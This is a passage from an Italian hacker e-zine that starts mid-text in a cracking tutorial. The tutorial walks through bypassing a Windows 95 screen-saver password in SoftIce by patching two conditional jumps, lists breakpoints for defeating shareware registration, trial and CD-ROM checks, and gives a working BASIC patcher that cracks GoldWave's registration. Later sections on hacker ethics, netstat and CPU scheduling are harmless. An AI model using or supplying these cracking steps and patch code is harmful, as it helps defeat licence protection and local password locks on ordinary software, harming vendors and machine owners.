siamo nel programma da noi desiderato (quello dello Screen Saver) ma in USER, del quale non ce ne frega un cazzo, e quindi steppiamo attraverso il codice, premendo F12, fino ad arrivare a Kernel.Alloc. Ogni volta che arrivate a Kernel.Alloc, sappiate che dopo il prossimon F12 che premete siete nel vostro programma. Premiamo un'altra volta l'F12 e ci troviamo nel bel mezzo di PASSWORD!.text. Cosi' ora sappiamo anche che lo Screen Saver usa l'estensione del Pannello di Controllo PASSWORD.CPL per gestire le password. Iniziate gia' un po' a sentirvi dei fighi? Andiamo avanti. Guardatevi bene il codice: 0137:7C45428F CALL [7C4582BC] ......................... La call dalla quale siamo appena usciti 0137:7C454295 TEST EDI, EDI ................................ Controlla cosa c'e' in EDI 0137:7C454297 JNZ 7C4542B1 ............................... Un JMP condizionale 0137:7C454299 LEA EAX, [EBP-04] 0137:7C45429C LEA ECX, [EBP-14] 0137:7C45429F PUSH EAX 0137:7C4542A0 PUSH ECX 0137:7C4542A1 CALL 7C454536 ............................... Chiama una Routine 0137:7C4542A6 TEST EAX, EAX ............................... Controlla cosa c'e' in EAX 0137:7C4542A8 JZ 7C4542DE ..................................... Un'altro JMP condizionale 0137:7C4542AA MOV EAX,00000001 0137:7C4542AF JMP 7C454322 .................................. Con questo JMPi sicuramente... Ok... Ci sono due CALL, e subito dopo le rispettive CALL, i rispettivi JMP. A me viene da pensare (a me perche' di programmi ne ho visti tanti...) che una controlla la lunghezza della pw e l'altra i caratteri. Ma ovviamente questo non si puo' sapere... e' solo un'intuizione che viene dopo kili di programmi sorbiti con il passare degli anni. Ma tanto a noi non ci frega di cosa fanno le call. Steppando attraverso il codice vediamo che almeno uno dei due jump ci fa saltare, quindi probabilmente, la parte del programma che ci rida' accesso al Desktop si trova all'indirizzo 0137:7C4542AF (l'ultimo JMP). Quindi, arrivati al primo JMP (JNZ 7C4542B1) noi non vogliamo saltare: premiamo F10 fino a quell'istruzione e mettiamo il flag Z a 0. Andiamo avanti con F10 fino al secondo JMP (JZ 7C4542DE) e settiamo il flag Z a 1 per non saltare neanche questa volta. Ok. Fatto. Ora possiamo tornare al programma premendo CTRL-D. Lo Screen Saver e' sparito e noi abbiamo riguadagnato l'accesso all'Desktop anche se abbiamo inserito la pw sbagliata. Dite la verita'. Vi sentite dei grandi ora o mi sbaglio? Ora forse non avrete capito perfettamente tutto quello che c'e' scritto qui' sopra, ma vi assicuro che se seguite i passi nell'esempio, piano piano capirete come fare a crackare anche altri programmi. Ora vi chiederete: "cosa sara' mai quel WM_GETTEXT???". E' un message brake di Windows. Nel senso che c'e' una parte in Windows che usa questo simbolo per leggere il testo da voi inserito nella casella di testo. Comunque ora ve ne do anche altri, per i pulsanti di Ok e altre cose. 5. BreakPoints utili Per prima cosa, per poter usare i seguenti bp (WM_GETTEXT compreso) dovete editare il file WINICE.DAT nella directory di SoftIce e includere gli exports di gdi32.dll kernel32.dll user32.dll questi tre per ora dovrebbero bastare, comunque sappiate che potete aggiungere anche gli altri dll e exe che vi interessano. I bp che seguono sono tutti da settare con Bpx nel SoftIce. 5.1 Lettura e scrittura sui file Questi che seguono sono gli API calls di Windows piu' comuni. Sono CALL generiche di accesso a file (di solito in binario) in lettura e scrittura. ReadFile WriteFile L'accesso ai file avviene con le seguenti routine SetFilePointer GetSytemDirectory GetSytemDirectoryA Per leggere e scrivere sui file INI le CALL da intercettare sono le seguenti: per applicazioni a 16bit GetPrivateProfileString GetPrivatProfileInt WritePrivateProfileString WritePrivatProfileInt per applicazioni a 32bit GetPrivateProfileStringA GetPrivatProfileIntA WritePrivateProfileStringA WritePrivatProfileIntA 5.2 Interrupt Accesso ad un file bpint 21 - con ah = 3d bpint 2f - con ah = 01 5.3 Il Registry Crea o elimina una key nel registry (quelle con A alla fine sono per applicazioni a 32 bit) RegCreateKey RegDeleteKey RegCreateKeyA RegDeleteKeyA Leggi un valore da una Key correntemente aperta nel registry RegQueryValue RegQueryValueA Apre o chiude una Key nel registry RegCloseKey RegOpenKey RegCloseKeyA RegOpenKeyA 5.4 Finestre di dialogo Legge testo o un numero da una finestra di dialogo edit (quelle con A alla fine sono per applicazioni a 32 bit) GetWindowText GetDlgItemText GetWindowTextA GetDlgItemTextA GetDlgItemInt Quando si apre una finestrella di messaggio, di solito una di quelle che dice "registrazione non valida" o qualcosa del genere, dovete intercettare queste CALLs MessageBox MessageBoxA MessageBoxExA MessageBeep 5.5 Data e ora Queste sono particolarmente utili per i programmi che non funzionano piu' dopo un paio di giorni GetSystemTime GetLocalTime SytemTimeToFileTime 5.6 Creazione di una finestra CreateWindow CreateWindowExA ShowWindow bitblt (e' una roba simile a hmemcpy... sposta e muove memoria in giro) 5.7 CD-ROM Molto utili per i check del CD-ROM. GetDriveType (se EAX e' 5, allora e' un CD-ROM check) GetDriveTypeA (per le app. a 32 bit) Eseguite le CALL, in EAX c'e' un valore, ed e' da interpretare nel seguente modo: 0 ............. Drive cannot be determinated 1 ............. root dir does not exist 2 ............. DriveRemoveable 3 ............. A fixed disk (HD) 4 ............. Remote drive (NetWork) 5 ............. Cd-Rom drive 6 ............. RamDisk 5.8 Altri BreakPoints Questi li potete usare quando il resto non funziona... sono dei bp, che, in generale, funzionano BozosLiveHere (ve lo ricordate?) HMemCpy (quello citato sopra. sposta variabili, di solito stringhe, in giro per la memoria) GlobalGetAtomName 5.8 I messaggi Questi sono da settare con BMSG nel SoftIce (non con BPX). WM_GETTEXT (un handle di testo) WM_COMMAND (quando premi un pulsante di Ok) Penso che sappiate come usarli questi... ve lo ho spiegato sopra... comunque lo ripeto: BMSG hwnd_num WM_COMMAND, per esempio. Per hwnd_num, ovviamente, dovete inserire il numero dell'handle trovato con il comando HWND del SoftIce. Questi sono i bp piu' utili che potete settare. Non dovete impararli a memoria... dopo un po' li saprete per i cazzi vostri. Ma sarebbe bene che ve li leggiate, cosi' sapete che esistono e sapete che potete usarli quando vi servono. 6. Il patch Cos'e' un patch? Semplicemente un programma che faccia da solo il cracking di un prog. Nel esempio dello Screen Saver per esempio, il programma deve cambiare in NOP (No operation) i due jump condizionali. Il risultato finale sara': 0137:7C45428F CALL [7C4582BC] ......................... La call dalla quale siamo appena usciti 0137:7C454295 TEST EDI, EDI ................................ Controlla cosa c'e' in EDI 0137:7C454297 NOP .......................... Niente piu' jmp condizionale, ma un nop (non dobbiamo saltare). 0137:7C454298 NOP ......................I NOP sono due perche' i byte che occupa l'istruzione che c'era prima erano il doppio di un NOP 0137:7C454299 LEA EAX, [EBP-04] 0137:7C45429C LEA ECX, [EBP-14] 0137:7C45429F PUSH EAX 0137:7C4542A0 PUSH ECX 0137:7C4542A1 CALL 7C454536 ............................... Chiama una Routine 0137:7C4542A6 TEST EAX, EAX ............................... Controlla cosa c'e' in EAX 0137:7C4542A8 NOP ..........................................Stesso discorso di sopra 0137:7C4542A9 NOP 0137:7C4542AA MOV EAX,00000001 0137:7C4542AF JMP 7C454322 ..................... Il jmp che ci fa saltare alla routine di sbloccaggio Questo e' il programma come dovrebbe essere dopo il crack, quando lo disassemblate. Chiaro? Ora... per cambiare il jmp con un NOP, non dobbiamo fare altro che prendere nota dei byte originai, cioe' quelli con i jmp come erano all'inizio, poi cambiarli con i nop, e prendere nota del cambiamento dei byte. Per vedere l'istruzione disassemblata, in SoftIce, si usa il comando CODE ON, che vicino ad ogni istruzione, vi mostra i byte che le rappresentano. Facile no? Ho scritto, solo per voi, un patch universale in Basic (linguaggio del cazzo ma veloce, intuitivo, e soprattutto facile, per voi che non ci capite una sega) che vi riporto qui sotto, cosi' lo compilate diversamente ogni volta che crackate un programma. Per usarlo dovete conoscere l'offset dei byte da cambiare, che potete trovare con un Hex editor (lo trovate nella pagina Utilitys di questo sito), i byte del file originale e quelli dopo il crackaggio. Ok. In oltre vi sarei molto grato se lasciaste le righe in cui ci sono i crediti (S2)... o se proprio non volete, almeno mettete un "tnx to S2" o qualcosa del genere... vene sarei grati. Let's patch! '---VARIABLE DEFINITIONS--'---File Name of the file to crack--FileName$ = "GOLDWAVE.EXE" '---Number of bytes to change--NBC = 6 '---15, 133, 156... are the original bytes of the file (in decimal!!!)--OB$ = CHR$(15) + CHR$(133) + CHR$(156) + CHR$(0) + CHR$(0) + CHR$(0) '---233, 157, 0... are the changed bytes of the file (in decimal!!!)--CB$ = CHR$(233) + CHR$(157) + CHR$(0) + CHR$(0) + CHR$(0) + CHR$(144) '---The offset where the bytes to change are--'---you can find 'em with a Hex editor--'---the first byte of the file is 1--OS = 147393 '---The file size in bytes--- FS = 946176 '---CREDIZ & INFO--CLS PRINT "Patch for Goldwave v3.24 written by S2" PRINT "" PRINT "This Patch allows you to enter ANY password" PRINT "you like, and the program will register" PRINT "itselve." PRINT "If the file is already patched, it will return" PRINT "to it's original state." PRINT "Have fun!" PRINT "" DO: LOOP WHILE INKEY$ = "" '---FILE CHECK & VERSION CHECK--PRINT "Opening file "; FileName$; "..." PRINT "" ON ERROR GOTO OpenFileErr OPEN FileName$ FOR INPUT AS #1 IF NOT LOF(1) = FS THEN PRINT "The file has not the right size." PRINT "Check if it is the correct version." PRINT "" END END IF CLOSE #1 ON ERROR GOTO 0 '---FILE PATCH & UNPATCH--ON ERROR GOTO PatchFileErr OPEN FileName$ FOR BINARY ACCESS READ WRITE AS #1 PRINT "Checking file..." PRINT "" Data$ = STRING$(NBC, " ") GET #1, OS, Data$ IF Data$ = CB$ THEN PRINT "File already patched." PRINT "Back to it's original state..." PRINT "" PUT #1, OS, OB$ PRINT "Now the file is unpatched!" ELSE PRINT "File not patched." PRINT "Let's patch..." PRINT "" PUT #1, OS, CB$ PRINT "Now the file is patched!" PRINT "Registration for FREE now!" END IF END OpenFileErr: PRINT "There was an error while opening the file." PRINT "run-time errorcode "; ERR PRINT "" END PatchFileErr: PRINT "There was an error while patching the file." PRINT "run-time errorcode "; ERR PRINT "" END Ho scritto i commenti in inglese per mettere il programma in Internet, ma comunque non penso che ci voglia tanto a capire come funziona. Quando volete creare un patch per un altro file, tutto quello che dovete modificare e' contenuto nelle variabili all'inizio del programma. Li rielenco in italiano con alcuni commenti per farvi capire meglio: FileName$ = "GOLDWAVE.EXE" In questo punto, al posto di GOLDWAVE.EXE inserite il nome del file da crackare. NBC = 6 6 e' il numero di byte da modificare. In questo caso 6. OB$ = CHR$(15) + CHR$(133) + Al posto di 15, 133, 156... volete crackare. Se i byte sono di piu' o di i CHR$() che sono in meno o CHR$(156) + CHR$(0) + CHR$(0) + CHR$(0) dovete inserire i byte originali del file che meno di 6, semplicemente aggiungete o togliete di troppo. CB$ = CHR$(233) + CHR$(157) + CHR$(0) + CHR$(0) + CHR$(0) + CHR$(144) Stesso discorso di sopra, solamente, questa volta, i byte inseriti tra le parentesi sono quelli che volete siano scritti. OS = 147393 L'offset dei byte da cambiare. Come trovarlo? Se come Hex editor usate l'Hexworks, per esempio, tutto quello che dovete fare e' andare a ricercare (nel Hexworks, ovviamente) dove si trovano i byte che volete modificare. Trovati quelli, sulla sinistra (o sulla barra di stato) troverete scritto l'offset dei byte. Attenzione pero'! In Hexworks, il primo byte nel file e' 0, mentre secondo il Basic, il primo byte nel file e' 1. Quindi, all'offset che troverete in Hexworks dovrete aggiungere 1. Abbastanza ovvio, no? FS = 946176 E' la grandezza del file in byte. Se non sapete come trovare questa da soli siete degli incompetenti, e aggiungerei anche imbecilli :-)))) Notate che se volete fare un patch per la password dello screen saver, dovrete cambiare un po' il codice, perche' i byte da cambiare non sono in fila, ma iniziano a due indirizzi diversi, quindi due offset diversi. Per cui, ci sara' da aggiungere una variabile OS1$, per il secondo offset, OB1$, per i byte originali nella seconda posizione e CB1$, per i byte cambiati nella seconda posizione. E poi dovrete aggiungere il codice per il cambiamento dei byte nella seconda posizione (al secondo offset). Chiaro no? No? Studiate il basic, o scrivete il patch in un linguaggio che conoscete. E questo e' quanto. 7. Conclusione Bene raga. Ho finito. Penso che di tutta sta roba, se non sapevate veramente un cazzo, abbiate capito molto poco, ma non vi preoccupate... se provate a mettere in pratica ci riuscirete piano piano a crackare il vostro primo shareware da soli... ci vuole solo un po' di esperienza... Da parte mia ho cercato di darvi tutte le informazioni piu' utili che ho potuto trovare in Internet, e di spiegarmi in maniera piu' o meno capibile. Spero che questo manualetto vi serva e che vi ricordiate di S2 in futuro... Inoltre vorrei ringraziare Extasy per avermi dato l'idea, anche se in modo implicito, di scrivere una roba del genere... E ringraziamenti vanno anche alla fabbrichetta di Plastica nella quale ho lavorato, per le sigarette che grazie a loro posso permettermi. Un'altra cosa: NON MANDATE MAIL!!! TANTO NON RISPONDO!!! Prima di andarvene dal sito andate a visitare la parte "required programs". Troverete non solo i programmi che vi servono, ma anche i patch per i programmi stessi. E non dimenticate, di tanto in tanto, di tornare su queste pagine per le ultime novita'. S2 ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ²°°°°°°°ÛÛÛÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛ°°°°°°°ÛÛ°°°°°°°°°°°°°°°°°°² ²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛ°°°°°°°ÛÛ°°°ÛÛ°°ÛÛ°°°ÛÛ°°ÛÛ°°°°°°ÛÛÛÛ°°°°°°°°°°°°°°°°°² ²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛÛÛÛ°°°°ÛÛ°°°ÛÛ°°ÛÛÛÛÛ°°°°ÛÛ°°°°°ÛÛ°°ÛÛ°°°°°°°°°°°°°°°°² ²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛ°°°°°°°ÛÛ°°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛ°°°°ÛÛÛÛÛÛÛÛ°°°°°°°°°°°°°°°² ²°°°°°°°°°°°ÛÛ°°°°°°°ÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛ°°ÛÛ°°°ÛÛ°°ÛÛ°°°ÛÛ°°°°°°ÛÛ°°°°°°°°°°°°°°² ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ Comicio subito col dire che alcuni newbies ultimamente mi hanno fatto qualke domanda su cose specifiche e quando gli passavo qualke doc teorico mi dicevano ...che palle! Be se pensate la stessa cosa allora lasciate perdere l'hacking e datevi all'uncinetto xche se volete bucare uno unix e sapete solo come cancellare i log, se volete avere l'ultima versione di winnuke ma non sapete come funzionano i nuke..be imo siete lamer xche' se non avete le basi non potete fare niente. Soprattutto ricordate che dietro a un hacker c'e' la voglia di conoscenza, il volere capire come funzionano i programmi, non la voglia di distruggere tutto di formattare a destra e a manca e se queste sono le cose che fate di solito... be, mi dispiace ma siete e resterete lamer finche' non vorrete andare al di la' della pappa pronta, finche' non vi verra' la nausea dopo una decina di manuali sulle reti, finche' non avrete capito che differenza c'e' tra i vari protocolli. Finche' non saprete cosa e' un firewall non saprete come sfruttare i suoi bug! Non importa che eta' avete, quanto tempo dedicate ai pc, quanti amici hacker avete, l'unica cosa importante la potete trovare solo dentro di voi, (e forse al 127.0.0.1 vero master? ehehehe) e quella cosa e' la curiosita'. Mah, probabilmente, mi starete pigliando x pazzo, e forse non avete tutti i torti, ma questo e' quello che penso io, e prima di diventare hacker come Master passeranno anni (se mai arrivero'a i suoi livelli), xche' come diceva qualcuno che non mi ricordo + chi era... "+ impari e + ti accorgi che da imparare ce n'e' sempre di +". o meglio "..non e' mai finita..." che si puo' riassumere in questa frase di Baudelaire "credevo di avere toccato il fondo, quando mi accorsi che si poteva ancora scavare" Se dopo questa breve intro credete di avere perso del tempo, be...scusatemi. N0bodY88 ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ COME FUNZIONA NETSTAT ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ A cura di Barninga Z Windows 95 implementa il comando netstat, praticamente standard nei sistemi Unix, utile per indagare la configurazione di rete ed il suo stato. Quella di Windows 95 appare una versione ridotta rispetto al netstat diffuso sotto Unix, ma comunque utile per curiosare e magari diagnosticare lo stato della rete. Il comando netstat riconosce diverse opzioni, particolarmente interessante e' -a, che visualizza lo stato di tutte le connessioni di rete. Un output del comando netstat -a visualizza tipicamente una riga per ogni servizio attivo (il servizio, in parole poverissime e largamente approssimative, E' un socket, o numero di connessione, attraverso il quale due processi - in genere su macchine diverse - comunicano), come il seguente: Active Connections Proto UDP UDP UDP UDP Local Address zeta-:nbname zeta-:nbdatagram zeta-:nbname zeta-:nbdatagram Foreign Address *:* *:* *:* *:* State Il significato E' che sul computer zeta- (il nome attribuito alla macchina via pannello di controllo) sono attive due interfacce di rete, e su entrambe sono attivi i servizi NetBiosName e NetBiosDatagram. Il fatto che si tratti di due interfacce di rete appare piu' chiaro se insieme all'opzione -a si usa anche l'opzione -n, che richiede a netstat la visualizzazione dell'output in formato numerico (senza cioE' utilizzare C:\WINDOWS\HOSTS per i nomi delle macchine e C:\WINDOWS\SERVICES per i nomi dei servizi): Active Connections Proto UDP UDP UDP UDP Local Address 150.100.190.11:137 150.100.190.11:138 193.76.58.131:137 193.76.58.131:138 Foreign Address *:* *:* *:* *:* State L'indirizzo 150.100.190.11 e' l'indirizzo della mia macchina sulla LAN, mentre 193.76.58.131 E' l'indirizzo internet atribuito automaticamente dal provider; 137 e 138 sono i numeri dei servizi NetBiosName e NetBiosDatagram (standard anche su Unix). UDP indica che si tratta di servizi di tipo User Datagram Protocol, cioe' di servizi privi di un vero e proprio protocollo di sincronia tra processi in grado di garantire che tutti i pacchetti spediti siano arrivati effettivamente a destinazione e in una sequenza prestabilita (in altre parole, manca una negoziazione tra i processi all'inizio della trasmissione). Ecco come cambia l'output nel momento in cui effettuo una connessione FTP (ad esempio mediante il programma FTP.EXE) verso una macchina della rete locale: Active Connections Proto TCP UDP UDP UDP UDP Local Address zeta-:1136 zeta-:nbname zeta-:nbdatagram zeta-:nbname zeta-:nbdatagram Foreign Address pippo:ftp *:* *:* *:* *:* State ESTABLISHED Come si vede e' comparsa una nuova riga in testa alla lista di connessioni, la quale indica che la macchina zeta- ha aperto un nuovo socket (un nuovo canale di comunicazione, il numero 1136) e si e' connessa al servizio ftp della macchina pippo; la connessione e' attiva (ESTABLISHED) ed e' di tipo TCP. TCP sta per Transport Control Protocol e, a differenza dello UDP, e' un vero e proprio protocollo che implementa controlli interprocesso per verificare l'integrita' e la completezza della trasmissione. Ancora una volta, l'opzione -n mi permette di verificare su quale interfaccia e' attiva la connessione, infatti la prima linea sara' Proto Local Address Foreign Address State TCP 150.110.190.11:1136 150.113.150.11:21 ESTABLISHED si nota, tra l'altro, che la porta standard ftp e' la 21; inoltre, dato che l'indirizzo della macchina target evidenzia un net address (150.113) diverso da quello della mia macchina (150.110), se ne deduce che da qualche parte ci deve essere un router che mette in comunicazione le due reti. Una rapida verifica, oltre che con il programma ROUTE.EXE, puo' essere fatta con lo stesso netstat, mediante l'opzione -r. L'output del comando netstat -r sara' il seguente (i puntini indicano che ho eliminato alcune righe non significative ai fini dell'esempio): Route Table Active Routes: Net Address 150.13.0.0 Netmask Gateway Address Interface Metric 255.255.0.0 150.110.12.54 150.110.190.11 1 Il router (o gateway) che consente ai pacchetti indirizzati a macchine sulla rete 150.13 e' la macchina con indirizzo 150.110.12.54, e l'interfaccia (scheda di rete) che la vede direttamente e' quella LAN (150.110.190.11): infatti il net address e' il medesimo (150.110). Se mi connetto al mail server per ricevere e spedire le mie email, nell'output di netstat compariranno righe analoghe alle seguenti: Proto Local Address Foreign Address State TCP TCP 194.166.51.92:1137 194.166.51.92:1138 193.76.58.158:110 193.76.58.158:25 ESTABLISHED ESTABLISHED La prima e' quella relativa al servizio POP (ricezione delle email), mentre la seconda e' relativa al servizio SMTP (spedizione delle mail); anche questi servizi sono uno standard dettato da Unix. Come era prevedibile, si tratta di sockets TCP. Un'altra interessante opzione di netstat e' la -e, che visualizza le statistiche relative all'attivita' su rete ethernet. Ecco un output di esempio: Interface Statistics Bytes Unicast packets Non-unicast packets Discards Errors Unknown protocols Received Sent 30540632 4598 61379 0 0 13 335893 4401 302 0 0 Oltre al numero di bytes complessivamente ricevuti e inviati, viene visualizzato il numero di pacchetti, suddivisi in Unicast (pacchetti indirizzati da una macchina ad un altra, anche conosciuti come point-to-point) e Non-unicast (pacchetti inviati da una macchina a piu' di una macchina, i cosiddetti broadcast e multicast, che sono, in genere, di tipo UDP). L'opzione -s forza netstat a visualizzare statistiche raggruppate per tipo di pacchetto e puo' essere filtrata con l'opzione -p, che consente di specificare il tipo di pacchetto. Ad esempio, per visualizzare le statistiche relative ai pacchetti UDP, si puo' dare il comando netstat -sp UDP. Infine, netstat offre la possibilita' di specificare un intervallo (in secondi) per ottenere la ripetizione delle statistiche di rete: ad esempio il comando netstat -a 2 visualizza un output analogo a quelli esaminati sin qui per l'opzione -a ogni 2 secondi: in tal modo e' possibile tenere sotto osservazione i diversi servizi utilizzati e la loro evoluzione nel tempo, cioe' il mutare del loro State, che oltre a ESTABLISHED puo' assumere diversi valori, tra cui, ad esempio TIME_WAIT (quando e' in attesa di risposta dalla macchina remota) e CLOSE_WAIT (quando la macchina remota ha appena chiuso il servizio). Barninga Z ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º º³ SISTEMI OPERATIVI ³º ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ Un carissimo saluto a tutti... partecipo a questa e-zine con una digressione teorica e sottolineo teorica sui sistemi operativi. Premetto subito che le spiegazioni che troverete si riferiscono agli OS in generale... l'argomento si presenta forse un po' palloso ma molto utile per capire approfonditamente il funzionamento dei sistemi. Ringrazio tutti quelli che, vista l'introduzione, non si sono spaventati e hanno continuato la lettura spinti dalla loro voglia irresistibile di apprendere. Incominciamo. Che cos'e' un OS? Letteralmente un OS costituisce l'interfaccia tra la macchina e l'utente. Esso coordina le risorse del sistema e gestisce gli eventi che derivano dall'uso dell'OS stesso. Le risorse possono essere definite come le entita' hardware o software che concorrono allo sviluppo di un qualsiasi processo produttivo. <A questo punto mi rimarranno 2 lettori>. La struttura tipica di un OS viene normalmente schematizzata come struttura a "cipolla" e comprende i seguenti livelli: * * * * * * Utilizzo e sincronizzazione della CPU. Gestione della memoria centrale (RAM). Gestione delle periferiche di I/O. Gestione del File System. Interfaccia utente. Applicazioni con funzione di utilita' per l'utente. Gestione dei Processi. Iniziamo con l'analisi completa dei processi. Per capire cosa sono i processi bisogna rifarsi al concetto di programma che e' definibile come una sequenza di istruzioni da eseguire. Il processo, invece, e' la conseguenza dell'esecuzione delle citate istruzioni e quindi della gestione delle risorse coinvolte. In breve possiamo dire che il processo e l'insieme degli stati assunti dal sistema durante l'esecuzione dei programmi. Gli stati che un processo puo' assumere all'interno dell'elaboratore sono tre e precisamente: * stato di ready quando il processo attende la disponibilita' della CPU. * stato di running quandi il processo viene eseguito dalla CPU. * stato di waiting quando il processo richiede l'intervento di un'altra risorsa. Cmq, per capire, facciamo un esempio e immaginiamo di scrivere un programmino del cazzo in C... dopo prendiamo il nostro bravo compilatore GCC e creiamo l'eseguibile; ecco a questo punto il compilatore trasforma il codice in una serie di istruzioni sequenziali. Ma cosa accade quando mandiamo il nostro processo in esecuzione? Il processo viene messo in ready dalla CPU poi la CPU esegue il processo in running e a questo punto o completa l'esecuzione o finisce in waiting in seguito ad una richiesta del programma di fornire un Input (per esempio e' richiesto l'inserimento di una dato da tastiera). Adesso direte bravo bella forza... ci voleva tanto. Beh immaginate che l'ambiente in cui lavoriamo sia multi-tasking (ovvero la possibilita' di eseguire piu processi contemporaneamente) e magari anche multi-utente; le cose cambiano avremo centinaia o migliaia di processi che richiederanno la loro esecuzione e se ancora non l'avete capito la CPU esegue solo un processo per volta in quanto e' una risorsa non divisibile ma interrompibile. I problemi sono pertanto enormi e richiedono l'utlizzo di algoritmi di gestione che andremo ora ad analizzare. Le strategie di gestione sono cosi classificabili: * Politica event driven <Il passaggio da uno stato all'altro avviene in base agli eventi come la terminazione di un processo in esecuzione o una richiesta di interruzione.> * Politica time driven <Il passaggio da uno stato all'altro avviene in base al fattore tempo. La CPU serve a turno i vari processi, ripartendo equamente il tempo di servizio fino all'esaurimento delle richieste.> Analizziamo gli algoritmi event driven. Algoritmo di gestione FCFS (First Come First Served). E' l'algoritmo di gestione piu' semplice in assoluto; i processi vengono serviti in base al loro ordine di arrivo fino alla terminazione o fino al verificarsi di una interruzione esterna. Lo svantaggio piu' evidente per l'utente consiste nella variabilita' del tempo di risposta e nel rischi che il proprio lavoro non venga mai eseguito se un altro processo tiene indefinatamente la CPU per se stesso. Algoritmo di gestione SJF (Shortes Job First). In base a questo criterio verra' eseguito per primo il processo che presenta il minor numero di istruzioni. Chiaramente i processi brevi anche se arrivati dopo passano davanti quindi come svantaggio si nota una penalizzazione eccessiva dei processi con molte istruzioni per i quali si possono generare situazioni di attesa indefinita. Algoritmo di gestione SPTF (Shortest Job Time First) Variante sofisticata del precedente algoritmo; viene fatta una stima a priori del tempo di elaborazione e, successivamente, vengono scelti i processi in modo da servire prima quelli che impegneranno in minor misura la CPU. (NOTA DI N0bodY88 = siccome oggi ho preso 7 all'interrogazione di informatik anke su questa cosa ringrazio Frensis e aggiungo all'ultima frase che la stima non avviene calcolando i tempi in senso letterale (sarebbe troppo lungo) ma guardando quante risorse e/o periferiche utilizza, assegnando poi un tot di tempo ad ogni risorsa utilizzata) OSS: un miglioramento ai precedenti algoritmi consiste nel dare la precedenza ai processi che presentano un grande numero di richieste di I/O e che pertanto rilasciano spesso la risorsa passando frequentemente in waiting. Esistono poi sistemi che utilizzano l' algoritmo a scheduling con priorita', ovvero assegnano a ciascun processo un numero corrispondente alla priorita' ed eseguono prima quelli con priorita' maggiore; questo puo' portare al cosiddetto fenomeno di starvation verificatosi, credo, in un mainframe del M.I.T. di Boston dove un processo con bassa priorita' rimase in ready per piu' di 2 anni senza mai essere entrato in running. Gli algoritmi event-driven sono cosi terminati e, parlando chiaro, non offrono soluzioni ottimali e convenienti per un buon uso del processore. Diverso e' invece il discorso per il time-driven che presenta l'algoritmo di gestione Round-Robin. Questo algoritmo gestisce i processi attraverso il fattore-tempo fissando il cosiddetto time-slice ovvero un unita' di tempo (per esempio un decimo di secondo) conclusa la quale il processo o viene messo terminato o viene messo in stato di ready. Cerchiamo di capirci <t.e= tempo di elaborazione> * Arrivano i processi p(1) t.e=4/10 sec., P(2) t.e=2/10 sec., p(3) t.e=5/10 sec. nella CPU; il time-slice viene fissato in 2/10 di sec. * Il processo p(1) viene eseguito dalla CPU per primo e dopo 2/10 sec. esce per lasciare spazio p(2) che avendo t.e=2/10 sec. viene terminato. Entra poi p(3) che dopo i soliti 2/10 del cazzo esce e lascia il posto a p(1) che termina la sua esecuzione e fa rientare p(3) che uscira' e rientrera' immediatamente per essere terminato anch'esso. Mi auguro che ci abbiate capito qualcosa. Cmq e' una belinata. Tranquilli. Oss: al criterio round-robin possono essere aggiunti numerosi "optional" in quanto puo' prevedere l'utilizzo delle priorita' o degli algoritmi precedente mente illustrati che, naturalmente, vengono incorporati nel round-robin stesso. N:B: l'amatissimo sistema Unix funziona con il criterio event-driven a priorita' e non come ho sentito dire un criterio FCFS. Direi che la prima puntata sui sistemi operativi puo' dirsi conclusa. Forse ci rivredremo al prossimo numero della e-zine con la gestione della RAM. Ho certamente dimenticato molto e spero che qualcuno mi faccia sapere cosa ne pensa! La mia e-mail e' [email protected]. CIAO.... ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» 